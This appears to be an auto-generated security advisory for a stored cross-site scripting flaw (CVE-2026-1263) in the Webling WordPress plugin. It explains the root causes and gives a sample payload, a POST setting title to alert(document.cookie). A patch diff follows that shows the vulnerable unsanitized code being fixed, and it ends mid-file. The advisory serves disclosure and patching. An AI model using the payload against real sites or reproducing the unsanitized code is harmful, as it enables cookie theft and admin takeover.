Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-1263: Webling <= 3.9.0 – Authenticated (Subscriber+) Stored Cross-Site Scripting via 'title' Parameter (webling)

CVE ID CVE-2026-1263
Plugin webling
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.9.0
Patched Version 3.9.1
Disclosed April 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1263:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Webling WordPress plugin versions up to and including 3.9.0. The vulnerability allows attackers with Subscriber-level access or higher to inject malicious scripts into Webling forms and memberlists. These scripts execute when an administrator views the affected form or memberlist in the WordPress admin panel, leading to privilege escalation or administrative account compromise.

The root cause lies in three security deficiencies within the `webling_admin_save_form` and `webling_admin_save_memberlist` functions. First, the functions lacked proper capability checks, allowing users with Subscriber roles to access administrative actions. Second, insufficient input sanitization occurred for the `title` parameter and other user-controlled fields before database storage. Third, inadequate output escaping existed when displaying stored data in the admin interface. The vulnerable code paths are in `/webling/src/admin/actions/save_form.php` and `/webling/src/admin/actions/save_memberlist.php`. The functions directly processed unsanitized `$_POST[‘title’]` and other parameters without validation.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to the WordPress admin-post.php endpoint with the action parameter set to `save_form` or `save_memberlist`. The malicious payload is placed in the `title` parameter or other unsanitized fields like `confirmation_text`. For example, a request to `/wp-admin/admin-post.php?action=save_form` with POST data containing `title=alert(document.cookie)` would inject the script. The payload persists in the database and executes when an administrator loads the form edit page (`/wp-admin/admin.php?page=webling_page_form_edit`).

The patch addresses all three root causes. It adds capability checks using `current_user_can(‘manage_options’)` to restrict access to administrators only. The patch introduces input sanitization: `sanitize_text_field($_POST[‘title’])` for the title parameter and appropriate sanitization functions for other fields like `wp_kses_post()` for HTML content. It also adds nonce verification with `check_admin_referer()` to prevent CSRF attacks. Output escaping is improved across admin pages using `esc_html()` and `esc_url()` when rendering user-controlled data. The diff shows these changes in lines 2-6, 15, and throughout the updated SQL queries in both save_form.php and save_memberlist.php files.

Successful exploitation leads to stored XSS attacks within the WordPress admin area. An attacker can steal administrator session cookies, perform actions as an administrator, modify plugin settings, or create new administrative accounts. This vulnerability enables privilege escalation from a low-privileged subscriber to full administrative control over the WordPress site. The attack persists across sessions because the malicious script is stored in the database and executes each time an administrator views the compromised form or memberlist.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/webling/src/actions/webling_form_submit.php
+++ b/webling/src/actions/webling_form_submit.php
@@ -13,13 +13,16 @@
 	global $wpdb;

 	if(isset($_POST['webling-form-id'])) {
+		if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'webling_form_submit')) {
+			wp_die(esc_html__('Security check failed', 'webling'));
+		}
 		try {
 			$_POST = stripslashes_deep($_POST);
 			$id = intval($_POST['webling-form-id']);

 			if (isset($_POST['webling-form-field'][0]) && strlen($_POST['webling-form-field'][0]) > 0) {
 				// Honeypot data was submitted
-				throw new Exception('Sweet, you just discovered the honeypot');
+				throw new Exception(esc_html__('Sweet, you just discovered the honeypot', 'webling'));
 			}

 			$options = get_option('webling-options');
@@ -43,11 +46,11 @@
 				if (class_exists('FriendlyCaptcha_Plugin') && function_exists('frcaptcha_get_sanitized_frcaptcha_solution_from_post') && function_exists('frcaptcha_verify_captcha_solution')) {
 					$plugin = FriendlyCaptcha_Plugin::$instance;
 					if ($plugin->is_configured()) {
-						$errorPrefix = '<strong>' . __('Error', 'wp-captcha') . '</strong> : ';
+						$errorPrefix = '<strong>' . esc_html__('Error', 'wp-captcha') . '</strong> : ';
 						$solution = frcaptcha_get_sanitized_frcaptcha_solution_from_post();

 						if (empty($solution)) {
-							wp_die($errorPrefix . FriendlyCaptcha_Plugin::default_error_user_message() . __(" (captcha missing)", "frcaptcha"));
+							wp_die($errorPrefix . FriendlyCaptcha_Plugin::default_error_user_message() . esc_html__(" (captcha missing)", "frcaptcha"));
 						}

 						$verification = frcaptcha_verify_captcha_solution($solution, $plugin->get_sitekey(), $plugin->get_api_key());
@@ -69,7 +72,7 @@
 				$client = WeblingApiHelper::Instance()->client();
 				$response = $client->get('membergroup/' . $formconfig['group_id']);
 				if ($response->getStatusCode() !== 200) {
-					throw new Exception('Error fetching membergroup');
+					throw new Exception(esc_html__('Error fetching membergroup', 'webling'));
 				}
 				$membergroup = $response->getData();
 				$childrenCount = 0;
@@ -233,7 +236,7 @@
 							}
 						}

-						$body .= PHP_EOL.PHP_EOL.__("Ein Mitglied mit diesen Daten wurde in deinem Webling erfasst.nnDein WordPress", 'webling');
+						$body .= PHP_EOL.PHP_EOL.esc_html__("Ein Mitglied mit diesen Daten wurde in deinem Webling erfasst.nnDein WordPress", 'webling');
 						$body .= PHP_EOL.get_site_url();

 						wp_mail($to, $subject, $body);
@@ -254,14 +257,14 @@

 					// only send if email address is valid
 					if (is_email($email)) {
-						$subject = trim(__($formconfig['confirmation_email_subject'], 'webling-dynamic'));
+						$subject = trim(esc_html__($formconfig['confirmation_email_subject'], 'webling-dynamic'));
 						if(!$subject) {
 							// if subject is empty, add default subject
-							$subject = __("Ihre Anmeldung", 'webling');
+							$subject = esc_html__("Ihre Anmeldung", 'webling');
 						}
-						$body = trim(__($formconfig['confirmation_email_text'], 'webling-dynamic'));
+						$body = trim(esc_html__($formconfig['confirmation_email_text'], 'webling-dynamic'));

-						// only send if mail body is not empty
+ 						// only send if mail body is not empty
 						if ($body) {
 							foreach ($fields as $fieldname) {
 								$val = $newmember['properties'][$fieldname];
@@ -269,17 +272,17 @@
 									if (isset($val['size'])) {
 										// images/files
 										$estimatedFileSize = size_format($val['size'] * (3/4), 1);
-										$val = __('Ja', 'webling') . ' (' . $estimatedFileSize .')';
+										$val = esc_html__('Ja', 'webling') . ' (' . $estimatedFileSize .')';
 									} else {
 										// multienum
 										$val = implode(', ', $val);
 									}
 								} else if(is_bool($val)) {
 									// checkboxes
-									$val = ($val ? __('Ja', 'webling') : __('Nein', 'webling'));
+									$val = ($val ? esc_html__('Ja', 'webling') : esc_html__('Nein', 'webling'));
 								}
-								$subject = str_replace('[['.$fieldname.']]', $val, $subject);
-								$body = str_replace('[['.$fieldname.']]', $val, $body);
+								$subject = str_replace('[['.$fieldname.']]', (string)$val, $subject);
+								$body = str_replace('[['.$fieldname.']]', (string)$val, $body);
 							}
 							wp_mail($email, $subject, $body);
 						}
--- a/webling/src/admin/actions/clear_cache_action.php
+++ b/webling/src/admin/actions/clear_cache_action.php
@@ -1,5 +1,9 @@
 <?php
 function webling_clear_cache_action() {
+    if (!current_user_can('manage_options')) {
+        wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));
+    }
+    check_admin_referer('webling_clear_cache');
     webling_clear_cache();
     wp_redirect(admin_url('/admin.php?page=webling_page_settings'));
     exit;
--- a/webling/src/admin/actions/save_form.php
+++ b/webling/src/admin/actions/save_form.php
@@ -2,6 +2,12 @@

 function webling_admin_save_form()
 {
+	if (!current_user_can('manage_options')) {
+		wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));
+	}
+
+	check_admin_referer('webling_save_form');
+
 	global $wpdb;

 	$_POST = stripslashes_deep($_POST);
@@ -9,12 +15,14 @@
 	// sanitize id
 	$id = intval($_POST['form_id']);

-	if ($id) {
+	// sanitize titles
+	$_POST['title'] = sanitize_text_field($_POST['title']);

+	if ($id) {
 		// check if form exists
 		$existing = $wpdb->get_row("SELECT id from {$wpdb->prefix}webling_forms WHERE id = ".$id);
 		if (!$existing) {
-			die('Could not update form: form does not exist: '.$id);
+			wp_die(esc_html__('Could not update form: form does not exist: ', 'webling') . intval($id));
 		}

 		// update form
@@ -37,16 +45,16 @@
 				WHERE id = %d",
 				$_POST['title'],
 				intval($_POST['group_id']),
-				$_POST['notification_email'],
-				$_POST['confirmation_text'],
-				$_POST['submit_button_text'],
+				sanitize_text_field($_POST['notification_email']),
+				wp_kses_post($_POST['confirmation_text']),
+				sanitize_text_field($_POST['submit_button_text']),
 				(isset($_POST['confirmation_email_enabled']) && $_POST['confirmation_email_enabled'] ? 1 : 0),
-				$_POST['confirmation_email_subject'],
-				$_POST['confirmation_email_text'],
+				sanitize_text_field($_POST['confirmation_email_subject']),
+				$_POST['confirmation_email_text'], // don't sanitize to allow HTML in confirmation email text
 				intval($_POST['confirmation_email_webling_field']),
 				intval($_POST['max_signups']),
-				$_POST['max_signups_text'],
-				$_POST['class'],
+				wp_kses_post($_POST['max_signups_text']),
+				sanitize_text_field($_POST['class']),
 				$id
 			)
 		);
@@ -85,16 +93,16 @@
 				)",
 				$_POST['title'],
 				intval($_POST['group_id']),
-				$_POST['notification_email'],
-				$_POST['confirmation_text'],
-				$_POST['submit_button_text'],
+				sanitize_text_field($_POST['notification_email']),
+				wp_kses_post($_POST['confirmation_text']),
+				sanitize_text_field($_POST['submit_button_text']),
 				(isset($_POST['confirmation_email_enabled']) && $_POST['confirmation_email_enabled'] ? 1 : 0),
-				$_POST['confirmation_email_subject'],
-				$_POST['confirmation_email_text'],
+				sanitize_text_field($_POST['confirmation_email_subject']),
+				$_POST['confirmation_email_text'], // don't sanitize to allow HTML in confirmation email text
 				intval($_POST['confirmation_email_webling_field']),
 				intval($_POST['max_signups']),
-				$_POST['max_signups_text'],
-				$_POST['class']
+				wp_kses_post($_POST['max_signups_text']),
+				sanitize_text_field($_POST['class'])
 			)
 		);

@@ -150,11 +158,11 @@
 						intval($field['order']),
 						intval($field['webling_field_id']),
 						$required,
-						$field['field_name'],
-						$field['field_name_position'],
-						$field['placeholder_text'],
-						$field['description_text'],
-						$field['class'],
+						sanitize_text_field($field['field_name']),
+						sanitize_text_field($field['field_name_position']),
+						sanitize_text_field($field['placeholder_text']),
+						sanitize_textarea_field($field['description_text']),
+						sanitize_text_field($field['class']),
 						$select_options
 					)
 				);
--- a/webling/src/admin/actions/save_memberlist.php
+++ b/webling/src/admin/actions/save_memberlist.php
@@ -2,6 +2,12 @@

 function webling_admin_save_memberlist()
 {
+	if (!current_user_can('manage_options')) {
+		wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));
+	}
+
+	check_admin_referer('webling_save_memberlist');
+
 	global $wpdb;

 	$_POST = stripslashes_deep($_POST);
@@ -9,6 +15,16 @@
 	// sanitize id
 	$id = intval($_POST['list_id']);

+	// sanitize titles
+	$_POST['title'] = sanitize_text_field($_POST['title']);
+
+	// sanitize HTML fields according to capabilities
+	if (isset($_POST['custom_template'])) {
+		if (!current_user_can('unfiltered_html')) {
+			$_POST['custom_template'] = wp_kses_post($_POST['custom_template']);
+		}
+	}
+
 	// sanitize design
 	$available_designs = array('LIST', 'CUSTOM');
 	if (!in_array($_POST['design'], $available_designs)) {
@@ -56,10 +72,10 @@
 				WHERE id = %d",
 				$_POST['title'],
 				$groups,
-				$_POST['fields'],
-				$_POST['class'],
-				$_POST['sortfield'],
-				$_POST['sortorder'],
+				sanitize_text_field($_POST['fields']),
+				sanitize_text_field($_POST['class']),
+				sanitize_text_field($_POST['sortfield']),
+				sanitize_text_field($_POST['sortorder']),
 				$_POST['design'],
 				$_POST['custom_template'],
 				$_POST['type'],
@@ -97,10 +113,10 @@
 				)",
 				$_POST['title'],
 				$groups,
-				$_POST['fields'],
-				$_POST['class'],
-				$_POST['sortfield'],
-				$_POST['sortorder'],
+				sanitize_text_field($_POST['fields']),
+				sanitize_text_field($_POST['class']),
+				sanitize_text_field($_POST['sortfield']),
+				sanitize_text_field($_POST['sortorder']),
 				$_POST['design'],
 				$_POST['custom_template'],
 				$_POST['type'],
--- a/webling/src/admin/errors/no_connection.html.php
+++ b/webling/src/admin/errors/no_connection.html.php
@@ -1,7 +1,7 @@
-<h2><?php echo __('Webling Einstellungen überprüfen', 'webling'); ?></h2>
+<h2><?php echo esc_html__('Webling Einstellungen überprüfen', 'webling'); ?></h2>
 <p>
-	<?php echo __('Mit der aktuellen Konfiguration ist keine Verbindung zu Webling möglich. ', 'webling'); ?>
+	<?php echo esc_html__('Mit der aktuellen Konfiguration ist keine Verbindung zu Webling möglich. ', 'webling'); ?>
 	<br>
-	<?php echo __('Bitte zuerst die Einstellungen des Webling Plugins hier vervollständigen: ', 'webling'); ?>
-	<a href="<?php echo admin_url( 'admin.php?page=webling_page_settings' ); ?>"><?php echo __('Webling Einstellungen', 'webling'); ?></a>
+	<?php echo esc_html__('Bitte zuerst die Einstellungen des Webling Plugins hier vervollständigen: ', 'webling'); ?>
+	<a href="<?php echo admin_url( 'admin.php?page=webling_page_settings' ); ?>"><?php echo esc_html__('Webling Einstellungen', 'webling'); ?></a>
 </p>
--- a/webling/src/admin/errors/no_read_access.html.php
+++ b/webling/src/admin/errors/no_read_access.html.php
@@ -1,7 +1,7 @@
-<h2><?php echo __('Webling Berechtigungen überprüfen', 'webling'); ?></h2>
+<h2><?php echo esc_html__('Webling Berechtigungen überprüfen', 'webling'); ?></h2>
 <p>
-	<?php echo __('Eine Verbindung zu Webling ist zwar möglich, aber der angegebene API-Key hat keinen Lese-Zugriff auf die Mitgliederdaten.', 'webling'); ?>
+	<?php echo esc_html__('Eine Verbindung zu Webling ist zwar möglich, aber der angegebene API-Key hat keinen Lese-Zugriff auf die Mitgliederdaten.', 'webling'); ?>
 	<br>
-	<?php echo __('Bitte in der Webling Administration die Berechtigungen anpassen oder in den Einstellungen einen anderen API-Key eintragen:', 'webling'); ?>
-	<a href="<?php echo admin_url( 'admin.php?page=webling_page_settings' ); ?>"><?php echo __('Webling Einstellungen', 'webling'); ?></a>
+	<?php echo esc_html__('Bitte in der Webling Administration die Berechtigungen anpassen oder in den Einstellungen einen anderen API-Key eintragen:', 'webling'); ?>
+	<a href="<?php echo admin_url( 'admin.php?page=webling_page_settings' ); ?>"><?php echo esc_html__('Webling Einstellungen', 'webling'); ?></a>
 </p>
--- a/webling/src/admin/errors/no_write_access.html.php
+++ b/webling/src/admin/errors/no_write_access.html.php
@@ -1,7 +1,7 @@
-<h2><?php echo __('Webling Berechtigungen überprüfen', 'webling'); ?></h2>
+<h2><?php echo esc_html__('Webling Berechtigungen überprüfen', 'webling'); ?></h2>
 <p>
-	<?php echo __('Eine Verbindung zu Webling ist zwar möglich, aber der angegebene API-Key hat keinen Schreib-Zugriff auf die Mitgliederdaten.', 'webling'); ?>
+	<?php echo esc_html__('Eine Verbindung zu Webling ist zwar möglich, aber der angegebene API-Key hat keinen Schreib-Zugriff auf die Mitgliederdaten.', 'webling'); ?>
 	<br>
-	<?php echo __('Bitte in der Webling Administration die Berechtigungen anpassen oder in den Einstellungen einen anderen API-Key eintragen:', 'webling'); ?>
-	<a href="<?php echo admin_url( 'admin.php?page=webling_page_settings' ); ?>"><?php echo __('Webling Einstellungen', 'webling'); ?></a>
+	<?php echo esc_html__('Bitte in der Webling Administration die Berechtigungen anpassen oder in den Einstellungen einen anderen API-Key eintragen:', 'webling'); ?>
+	<a href="<?php echo admin_url( 'admin.php?page=webling_page_settings' ); ?>"><?php echo esc_html__('Webling Einstellungen', 'webling'); ?></a>
 </p>
--- a/webling/src/admin/filters/update_field_webling_options.php
+++ b/webling/src/admin/filters/update_field_webling_options.php
@@ -13,5 +13,8 @@
 			$new_value['host'] = $url['scheme'] . '://' . $url['host'];
 		}
 	}
+	if (isset($new_value['css'])) {
+		$new_value['css'] = sanitize_textarea_field($new_value['css']);
+	}
 	return $new_value;
 }
--- a/webling/src/admin/lists/Form_List.php
+++ b/webling/src/admin/lists/Form_List.php
@@ -119,7 +119,7 @@
 	{
 		switch ($column_name) {
 			case 'title':
-				return '<a href="'.admin_url('admin.php?page=webling_page_form_edit&form_id='.$item['id']).'">' . $item['title'] . '</a>';
+				return '<a href="'.esc_url(admin_url('admin.php?page=webling_page_form_edit&form_id='.$item['id'])).'">' . esc_html($item['title']) . '</a>';
 			case 'shortcode':
 				return '<div>[webling_form id="'.$item['id'].'"]</div>';
 			default:
@@ -150,8 +150,8 @@
 	{
 		$columns = [
 			'cb' => '<input type="checkbox" />',
-			'title' => __('Title', 'webling'),
-			'shortcode' => __('Shortcode', 'webling'),
+			'title' => esc_html__('Title', 'webling'),
+			'shortcode' => esc_html__('Shortcode', 'webling'),
 		];

 		return $columns;
@@ -235,6 +235,7 @@
 		if ((isset($_POST['action']) && $_POST['action'] == 'webling_form_bulk_delete')
 			|| (isset($_POST['action2']) && $_POST['action2'] == 'webling_form_bulk_delete')
 		) {
+			check_admin_referer('bulk-' . $this->_args['plural']);

 			$delete_ids = esc_sql($_POST['webling_form_bulk_delete']);

--- a/webling/src/admin/lists/Memberlist_List.php
+++ b/webling/src/admin/lists/Memberlist_List.php
@@ -9,8 +9,8 @@
 	public function __construct()
 	{
 		parent::__construct([
-			'singular' => __('Memberliste', 'webling'), //singular name of the listed records
-			'plural' => __('Memberlisten', 'webling'), //plural name of the listed records
+			'singular' => esc_html__('Memberliste', 'webling'), //singular name of the listed records
+			'plural' => esc_html__('Memberlisten', 'webling'), //plural name of the listed records
 			'ajax' => false //should this table support ajax?
 		]);
 	}
@@ -112,7 +112,7 @@
 	{
 		switch ($column_name) {
 			case 'title':
-				return '<a href="'.admin_url('admin.php?page=webling_page_memberlist_edit&list_id='.$item['id']).'">' . $item['title'] . '</a>';
+				return '<a href="'.esc_url(admin_url('admin.php?page=webling_page_memberlist_edit&list_id='.$item['id'])).'">' . esc_html($item['title']) . '</a>';
 			case 'shortcode':
 				return '<div>[webling_memberlist id="'.$item['id'].'"]</div>';
 			default:
@@ -143,8 +143,8 @@
 	{
 		$columns = [
 			'cb' => '<input type="checkbox" />',
-			'title' => __('Title', 'webling'),
-			'shortcode' => __('Shortcode', 'webling'),
+			'title' => esc_html__('Title', 'webling'),
+			'shortcode' => esc_html__('Shortcode', 'webling'),
 		];

 		return $columns;
@@ -229,6 +229,7 @@
 		if ((isset($_POST['action']) && $_POST['action'] == 'webling_list_bulk_delete')
 			|| (isset($_POST['action2']) && $_POST['action2'] == 'webling_list_bulk_delete')
 		) {
+			check_admin_referer('bulk-' . $this->_args['plural']);

 			$delete_ids = esc_sql($_POST['webling_list_bulk_delete']);

--- a/webling/src/admin/pages/form_edit.php
+++ b/webling/src/admin/pages/form_edit.php
@@ -60,14 +60,15 @@

 		echo '<div class="wrap webling-admin">';
 		if ($id) {
-			echo '<h2>'.__('Formular bearbeiten', 'webling').' (ID: '.$id.')</h2>';
+			echo '<h2>'.esc_html__('Formular bearbeiten', 'webling').' (ID: '.$id.')</h2>';
 		} else {
-			echo '<h2>'.__('Formular erstellen', 'webling').'</h2>';
+			echo '<h2>'.esc_html__('Formular erstellen', 'webling').'</h2>';
 		}
 		?>
 			<form action="admin-post.php" method="post">
 				<input type="hidden" name="action" value="save_form">
 				<input type="hidden" name="form_id" value="<?php echo $data['id']; ?>">
+				<?php wp_nonce_field('webling_save_form'); ?>

 				<div id="poststuff">
 					<div id="post-body" class="metabox-holder columns-2">
@@ -75,7 +76,7 @@

 							<div id="titlediv">
 								<div id="titlewrap">
-									<input type="text" name="title" size="30" id="title" placeholder="<?php echo __('Formularname', 'webling') ?>" spellcheck="true" autocomplete="off" value="<?php echo esc_attr($data['title']); ?>">
+									<input type="text" name="title" size="30" id="title" placeholder="<?php echo esc_attr__('Formularname', 'webling') ?>" spellcheck="true" autocomplete="off" value="<?php echo esc_attr($data['title']); ?>">
 								</div>
 							</div>

@@ -83,9 +84,9 @@
 							<div class="bodywrap">

 								<h2 class="nav-tab-wrapper wp-clearfix webling-tabs">
-									<a id="webling_form_tab_fields" href="#" onclick="webling_change_form_tab('fields')" class="nav-tab nav-tab-active"><?php echo __('Formularfelder', 'webling') ?></a>
-									<a id="webling_form_tab_settings" href="#" onclick="webling_change_form_tab('settings')" class="nav-tab"><?php echo __('Einstellungen', 'webling') ?></a>
-									<a id="webling_form_tab_emails" href="#" onclick="webling_change_form_tab('emails')" class="nav-tab"><?php echo __('E-Mails', 'webling') ?></a>
+									<a id="webling_form_tab_fields" href="#" onclick="webling_change_form_tab('fields')" class="nav-tab nav-tab-active"><?php echo esc_html__('Formularfelder', 'webling') ?></a>
+									<a id="webling_form_tab_settings" href="#" onclick="webling_change_form_tab('settings')" class="nav-tab"><?php echo esc_html__('Einstellungen', 'webling') ?></a>
+									<a id="webling_form_tab_emails" href="#" onclick="webling_change_form_tab('emails')" class="nav-tab"><?php echo esc_html__('E-Mails', 'webling') ?></a>
 								</h2>

 								<div class="webling-tabs-body">
@@ -93,7 +94,7 @@
 									<div id="webling_form_fields">
 										<br>
 										<div class="widgets-holder-wrap">
-											<p class="webling-fields-hint"><?php echo __('Ziehe Felder aus der Seitenleiste in diesen Bereich um sie zum Formular hinzuzufügen.', 'webling') ?></p>
+											<p class="webling-fields-hint"><?php echo esc_html__('Ziehe Felder aus der Seitenleiste in diesen Bereich um sie zum Formular hinzuzufügen.', 'webling') ?></p>
 											<ul id="sortable_main" class="connectedSortable webling-fields-holder">
 												<?php
 												foreach ($formfields as $formfield) {
@@ -110,107 +111,107 @@
 									<div id="webling_form_settings" style="display: none">
 										<table class="form-table">
 											<tr>
-												<th scope="row"><?php echo __('Mitglied in folgender Webling Gruppe erfassen', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('Mitglied in folgender Webling Gruppe erfassen', 'webling') ?></th>
 												<td>
 													<?php echo self::group_select($data['group_id']); ?>
-													<p class="description"><?php echo __('Nach dem Absenden des Formulars wird in dieser Gruppe in Webling ein Mitglied mit den angegebenen Daten erstellt.', 'webling') ?></p>
+													<p class="description"><?php echo esc_html__('Nach dem Absenden des Formulars wird in dieser Gruppe in Webling ein Mitglied mit den angegebenen Daten erstellt.', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr>
-												<th scope="row"><?php echo __('Text "Absenden"-Button', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('Text "Absenden"-Button', 'webling') ?></th>
 												<td>
-													<input type="text" placeholder="<?php echo __('Absenden', 'webling') ?>" name="submit_button_text" value="<?php echo esc_attr($data['submit_button_text']); ?>" class="regular-text">
-													<p class="description"><?php echo __('Text der auf dem Formular Absenden Button steht', 'webling') ?></p>
+													<input type="text" placeholder="<?php echo esc_attr__('Absenden', 'webling') ?>" name="submit_button_text" value="<?php echo esc_attr($data['submit_button_text']); ?>" class="regular-text">
+													<p class="description"><?php echo esc_html__('Text der auf dem Formular Absenden Button steht', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr>
-												<th scope="row"><?php echo __('Bestätigungstext nach Absenden', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('Bestätigungstext nach Absenden', 'webling') ?></th>
 												<td>
 													<?php wp_editor($data['confirmation_text'], 'confirmation_text'); ?>
-													<p class="description"><?php echo __('Dieser Text wird dem Besucher angezeigt, nachdem das Formular abgesendet wurde.', 'webling') ?></p>
+													<p class="description"><?php echo esc_html__('Dieser Text wird dem Besucher angezeigt, nachdem das Formular abgesendet wurde.', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr>
-												<th scope="row"><?php echo __('CSS Klasse', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('CSS Klasse', 'webling') ?></th>
 												<td>
-													<input type="text" placeholder="<?php echo __('CSS Klasse', 'webling') ?>" name="class" value="<?php echo esc_attr($data['class']); ?>" class="regular-text">
-													<p class="description"><?php echo __('CSS Klasse für dieses Formular, kann für eigene Designanpassungen verwendet werden.', 'webling') ?></p>
+													<input type="text" placeholder="<?php echo esc_attr__('CSS Klasse', 'webling') ?>" name="class" value="<?php echo esc_attr($data['class']); ?>" class="regular-text">
+													<p class="description"><?php echo esc_html__('CSS Klasse für dieses Formular, kann für eigene Designanpassungen verwendet werden.', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr>
-												<th scope="row"><?php echo __('Maximale Anzahl Anmeldungen', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('Maximale Anzahl Anmeldungen', 'webling') ?></th>
 												<td>
-													<input type="number" name="max_signups" placeholder="0" min="0" value="<?php echo esc_attr($data['max_signups']); ?>" class="small-text"> <?php echo __('Anmeldungen', 'webling') ?>
-													<p class="description"><?php echo __('Wenn die maximale Anzahl Mitglieder in der oben gewählten Mitgliedergruppe erreicht ist, werden keine Anmeldungen mehr entgegengenommen. Wenn du Mitglieder in Webling aus der Gruppe entfernst, werden wieder Plätze frei.', 'webling') ?></p>
-													<p class="description"><?php echo __('0 = keine maximale Anzahl', 'webling') ?></p>
+													<input type="number" name="max_signups" placeholder="0" min="0" value="<?php echo esc_attr($data['max_signups']); ?>" class="small-text"> <?php echo esc_html__('Anmeldungen', 'webling') ?>
+													<p class="description"><?php echo esc_html__('Wenn die maximale Anzahl Mitglieder in der oben gewählten Mitgliedergruppe erreicht ist, werden keine Anmeldungen mehr entgegengenommen. Wenn du Mitglieder in Webling aus der Gruppe entfernst, werden wieder Plätze frei.', 'webling') ?></p>
+													<p class="description"><?php echo esc_html__('0 = keine maximale Anzahl', 'webling') ?></p>
 													<?php
 														$membergroup = WeblingApiHelper::Instance()->cache()->getObject('membergroup', $data['group_id']);
 														if ($membergroup && isset($membergroup['children'])) {
-															echo '<p class="description">' . __('Aktuelle Anzahl Anmeldungen:', 'webling'). ' ' . count($membergroup['children']) . '</p>';
+															echo '<p class="description">' . esc_html__('Aktuelle Anzahl Anmeldungen:', 'webling'). ' ' . count($membergroup['children']) . '</p>';
 														}
 													?>
 												</td>
 											</tr>
 											<tr>
-												<th scope="row"><?php echo __('Text wenn Anmeldung voll', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('Text wenn Anmeldung voll', 'webling') ?></th>
 												<td>
 													<?php wp_editor($data['max_signups_text'], 'max_signups_text'); ?>
-													<p class="description"><?php echo __('Dieser Text wird dem Besucher angezeigt, wenn die maximale Anzahl Anmeldungen erreicht ist.', 'webling') ?></p>
+													<p class="description"><?php echo esc_html__('Dieser Text wird dem Besucher angezeigt, wenn die maximale Anzahl Anmeldungen erreicht ist.', 'webling') ?></p>
 												</td>
 											</tr>
 										</table>
 									</div>

 									<div id="webling_form_emails" style="display: none">
-										<h2 class="title"><?php echo __('E-Mail Benachrichtigung an Admin', 'webling') ?></h2>
-										<p><?php echo __('Bei jeder Anmeldung über das Formular können die übermittelten Daten an eine E-Mail Adresse zur Info gesendet werden.', 'webling') ?></p>
+										<h2 class="title"><?php echo esc_html__('E-Mail Benachrichtigung an Admin', 'webling') ?></h2>
+										<p><?php echo esc_html__('Bei jeder Anmeldung über das Formular können die übermittelten Daten an eine E-Mail Adresse zur Info gesendet werden.', 'webling') ?></p>
 										<table class="form-table">
 											<tr>
-												<th scope="row"><?php echo __('Benachrichtigung senden an', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('Benachrichtigung senden an', 'webling') ?></th>
 												<td>
-													<input type="text" placeholder="<?php echo __('E-Mail Adresse', 'webling') ?>" name="notification_email" value="<?php echo esc_attr($data['notification_email']); ?>" class="regular-text">
-													<p class="description"><?php echo __('Eine E-Mail mit den übermittelten Formulardaten wird an diese Adresse versandt. Mehrere E-Mail Adressen mit Komma trennen.', 'webling') ?></p>
+													<input type="text" placeholder="<?php echo esc_attr__('E-Mail Adresse', 'webling') ?>" name="notification_email" value="<?php echo esc_attr($data['notification_email']); ?>" class="regular-text">
+													<p class="description"><?php echo esc_html__('Eine E-Mail mit den übermittelten Formulardaten wird an diese Adresse versandt. Mehrere E-Mail Adressen mit Komma trennen.', 'webling') ?></p>
 												</td>
 											</tr>
 										</table>
-										<h2 class="title"><?php echo __('E-Mail Bestätigung an Besucher', 'webling') ?></h2>
+										<h2 class="title"><?php echo esc_html__('E-Mail Bestätigung an Besucher', 'webling') ?></h2>
 										<p></p>
 										<table class="form-table">
 											<tr>
-												<th scope="row"><?php echo __('E-Mail Bestätigung an Besucher senden', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('E-Mail Bestätigung an Besucher senden', 'webling') ?></th>
 												<td>
 													<fieldset>
 														<label for="confirmation_email_enabled">
 															<input name="confirmation_email_enabled" onclick="webling_toggle_confirmation_settings()" type="checkbox" id="confirmation_email_enabled" <?php echo ($data['confirmation_email_enabled'] ? 'checked' : ''); ?>>
-															<?php echo __('Eine Bestätigung an den Besucher senden', 'webling') ?>
+															<?php echo esc_html__('Eine Bestätigung an den Besucher senden', 'webling') ?>
 														</label>
 													</fieldset>
-													<p class="description"><?php echo __('Eine Bestätigung per E-Mail an den Besucher senden wenn er das Formular abgeschickt hat.', 'webling') ?></p>
+													<p class="description"><?php echo esc_html__('Eine Bestätigung per E-Mail an den Besucher senden wenn er das Formular abgeschickt hat.', 'webling') ?></p>
 												</td>
 											</tr>
 											<tr class="webling_confirmation_settings">
-												<th scope="row"><?php echo __('E-Mail Formular Feld', 'webling') ?></th>
+												<th scope="row"><?php echo esc_html__('E-Mail Formular Feld', 'webling') ?></th>
 												<td>
 													<script type="text/javascript">
 														var preselected_confirmation_email_webling_field = <?php echo intval($data['confirmation_email_webling_field']); ?>;
 													</script>
 													<select id="confirmation_email_webling_field" name="confirmation_email_webling_field" class="regular-text"></select>
-													<p class="description" id="confirmation_email_webling_field_error" style="color: red;"><?php echo __('Kein E-Mail Feld im Formular gefunden. Füge ein E-Mail Feld zum Formular hinzu um diese Funktion zu nutzen.', 'webling') ?></p>
-													<p class="description"><?php echo __('Wähle das E-Mail Feld in deinem Formular. Der Besucher erhält eine Bestätigung an die Adresse die in das hier ausgewählte Feld eingegeben wurde. Das E-Mail wird nur versandt, wenn die Adresse ausgefüllt wurde und gültig ist.', 'webling') ?></p>
